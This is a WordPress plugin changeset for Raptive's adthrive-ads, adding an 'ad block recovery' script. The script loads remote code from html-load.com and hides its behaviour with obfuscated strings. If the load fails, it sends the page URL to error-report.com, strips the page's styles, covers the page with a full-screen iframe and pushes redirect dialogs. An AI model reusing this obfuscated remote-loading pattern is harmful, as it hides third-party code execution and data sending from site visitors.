'true') { 48 addScripts(); 49 } else { 50 // Poll for cookie to be set 31 51 var counter = 0; 32 pollForDetection = setInterval(function () { 33 if (counter === 100 || adBlockDetectionCookie === 'false') clearPoll(); 34 if (adBlockDetectionCookie === 'true') { 35 addRecoveryScript(); 36 clearPoll(); 52 var pollForDetection = setInterval(function () { 53 if (counter === 100 || detectionCookie === 'false') { 54 clearInterval(pollForDetection); 55 return; 37 56 } 38 adBlockDetectionCookie = checkCookie(); 57 if (detectionCookie === 'true') { 58 addScripts(); 59 clearInterval(pollForDetection); 60 return; 61 } 62 detectionCookie = checkCookie(); 39 63 counter++; 40 64 }, 50); 41 65 } 66 } 42 67 43 function clearPoll() { 44 clearInterval(pollForDetection); 45 } 46 47 return { 48 init: init, 49 }; 50 })(); 51 52 recovery.init(); 53 })(document); 68 init(); 69 })(); -
adthrive-ads/trunk/js/adblock-recovery.min.js
r3347612 r3387206 1 !function( e){(function(){var n,t;function r(){var n=e.createElement("script");n.src="https://cafemedia-com.videoplayerhub.com/galleryplayer.js",e.head.appendChild(n)}function a(){var n=e.cookie.match("(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)");return n&&n.pop()}function c(){clearInterval(t)}return{init:function(){var e;"true"===(n=a())?r():(e=0,t=setInterval(function(){100!==e&&"false"!==n||c(),"true"===n&&(r(),c()),n=a(),e++},50))}}})().init()}(document);1 !function(){function e(){var e=document.cookie.match("(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)");return e&&e.pop()}function t(){var e=document.createElement("script");e.async=!0,e.id="Tqgkgu",e.setAttribute("data-sdk","l/1.1.15"),e.setAttribute("data-cfasync","false"),e.src="https://html-load.com/loader.min.js",e.charset="UTF-8",e.setAttribute("data","kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8"),e.setAttribute("onload","(async()=>{let e='html-load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();"),e.setAttribute("onerror","(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();"),document.head.appendChild(e);var t=document.createElement("script");t.setAttribute("data-cfasync","false"),t.setAttribute("nowprocket",""),t.textContent="(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() } catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();",document.head.appendChild(t)}!function(){var r=e();if("true"===r)t();else var o=0,a=setInterval(function(){if(100!==o&&"false"!==r){if("true"===r)return t(),void clearInterval(a);r=e(),o++}else clearInterval(a)},50)}()}(); -
adthrive-ads/trunk/plugin.json
r3347612 r3387206 1 1 { 2 "stable": "3. 9.0",2 "stable": "3.10.0", 3 3 "tested": "6.8", 4 4 "requires": "4.6", -
adthrive-ads/trunk/readme.txt
r3347612 r3387206 3 3 Tags: ads raptive 4 4 Tested up to: 6.8 5 Stable tag: 3. 9.05 Stable tag: 3.10.0 6 6 License: GPLv2 or later 7 7 License URI: http://www.gnu.org/licenses/gpl-2.0.html … … 31 31 32 32 == Changelog == 33 34 = 3.10.0 = 35 * Improved ad block recovery 33 36 34 37 = 3.9.0 = … … 62 65 * Security patch 63 66 64 = 3.6.3 =65 * Removed custom update checker66 -
adthrive-ads/trunk/release.json
r3347612 r3387206 1 1 { 2 "stable": "3. 9.0",2 "stable": "3.10.0", 3 3 "tested": "6.8", 4 4 "requires": "4.6", 5 5 "requires_php": "5.6", 6 "version": "3. 9.0",7 "changelog": "== Changelog ==\n\n= 3. 9.0 =\n* Improved PHP 7.4+ compatibility\n* Remove the unused features\n* Security patch\n\n= 3.8.0 =\n* Move Raptive's Comscore script into the plugin. This update allows the script to load quicker, providing more accurate tracking and measurement of Raptive traffic.\n\n= 3.7.7 =\n* Use IdentityAPI for privacy compliant localStorage access\n* Fix issue with adt_ei url params being cached in pagination links\n\n= 3.7.6 =\n* Ensure browser storage use with user consent\n\n= 3.7.5 =\n* Tested up to 6.8\n\n= 3.7.4 =\n* Security patch\n\n= 3.7.3 =\n* Layout bug fix\n\n= 3.7.2 =\n* Improved Pagination\n\n= 3.7.1 =\n* Security patch\n\n= 3.6.3 =\n* Removed custom update checker\n"6 "version": "3.10.0", 7 "changelog": "== Changelog ==\n\n= 3.10.0 =\n* Improved ad block recovery\n\n= 3.9.0 =\n* Improved PHP 7.4+ compatibility\n* Remove the unused features\n* Security patch\n\n= 3.8.0 =\n* Move Raptive's Comscore script into the plugin. This update allows the script to load quicker, providing more accurate tracking and measurement of Raptive traffic.\n\n= 3.7.7 =\n* Use IdentityAPI for privacy compliant localStorage access\n* Fix issue with adt_ei url params being cached in pagination links\n\n= 3.7.6 =\n* Ensure browser storage use with user consent\n\n= 3.7.5 =\n* Tested up to 6.8\n\n= 3.7.4 =\n* Security patch\n\n= 3.7.3 =\n* Layout bug fix\n\n= 3.7.2 =\n* Improved Pagination\n\n= 3.7.1 =\n* Security patch\n" 8 8 }
Note: See TracChangeset
for help on using the changeset viewer.